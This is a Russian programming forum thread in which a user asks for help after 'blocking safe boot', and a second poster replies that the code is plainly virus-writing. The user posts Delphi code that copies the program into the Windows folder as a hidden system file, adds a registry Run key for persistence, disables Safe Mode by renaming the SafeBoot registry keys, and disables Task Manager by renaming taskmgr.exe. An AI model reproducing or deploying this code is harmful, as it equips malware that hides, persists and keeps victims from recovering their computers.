Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 27.02.2011, 20:55   #1
Glaxh
Новичок
Джуниор
 
Аватар для Glaxh
 
Регистрация: 12.01.2011
Сообщений: 1
По умолчанию Работа с реестром

Привет все ! Недавно делал программу и заблокировал себе безопасный вход юзал реестр теперь не знаю как это убрать вот кусок кода на делфи



procedure StartUp;
var
PathFile: string;
f: TextFile;
begin
PathFile := GetWinPath + '\Sound.exe';
CopyFile(PChar(ParamStr(0)), PChar(PathFile), True);
FileSetAttr(PathFile, faHidden or faSysFile);
AssignFile(f, GetWinPath + '\Sound.bat');
Rewrite(f);
Writeln(f, '@echo off');
Writeln(f, 'Title Sound');
Writeln(f, 'start Sound.exe');
Flush(f);
CloseFile(f);

Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('\SOFTWARE\Microsoft\Wi ndows\CurrentVersion\Run', true);
Reg.WriteString('Sound', GetWinPath + '\Sound.bat');
Reg.CloseKey;
Reg.Free;
end;

procedure DelStartUp;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('\SOFTWARE\Microsoft\Wi ndows\CurrentVersion\Run', true);
Reg.DeleteValue('Sound');
Reg.CloseKey;
Reg.Free;
end;

procedure SafeBoot(SafeBoot: Boolean);
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
if SafeBoot = False then
begin
Reg.MoveKey('System\CurrentControlS et\Control\SafeBoot\minimal',
'System\CurrentControlSet\Control\S afeBoot\M', true);
Reg.MoveKey('System\CurrentControlS et\Control\SafeBoot\NetWork',
'System\CurrentControlSet\Control\S afeBoot\N', true);
end
else
begin
Reg.MoveKey('System\CurrentControlS et\Control\SafeBoot\M',
'System\CurrentControlSet\Control\S afeBoot\minimal', true);
Reg.MoveKey('System\CurrentControlS et\Control\SafeBoot\N',
'System\CurrentControlSet\Control\S afeBoot\NetWork', true);
end;
Reg.CloseKey;
Reg.Free;
end;

procedure Taskmgr(Task:Boolean);
begin
if Task = False then
RenameFile(GetSysPath + '\taskmgr.exe', GetSysPath + '\mdsdba.dll')
else
RenameFile(GetSysPath + '\mdsdba.dll', GetSysPath + '\taskmgr.exe');
end;


помогите кто знает в чем дело пожалуйста с меня +
Glaxh вне форума Ответить с цитированием
Старый 28.02.2011, 08:39   #2
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,821
По умолчанию

Цитата:
помогите кто знает в чем дело
Не вооруженном глазом видно вирусописательство: запуск exe с странным именем, добавление в автозагрузку, возня с ключами и менеджером задач
p51x вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Работа с реестром? angelada Помощь студентам 4 19.01.2011 12:12
Работа с реестром. dixonich Помощь студентам 4 20.10.2010 23:59
работа с реестром Sharp_eye Помощь студентам 8 21.06.2009 00:05
Работа с реестром Ky3Heu, Общие вопросы Delphi 1 04.05.2009 10:37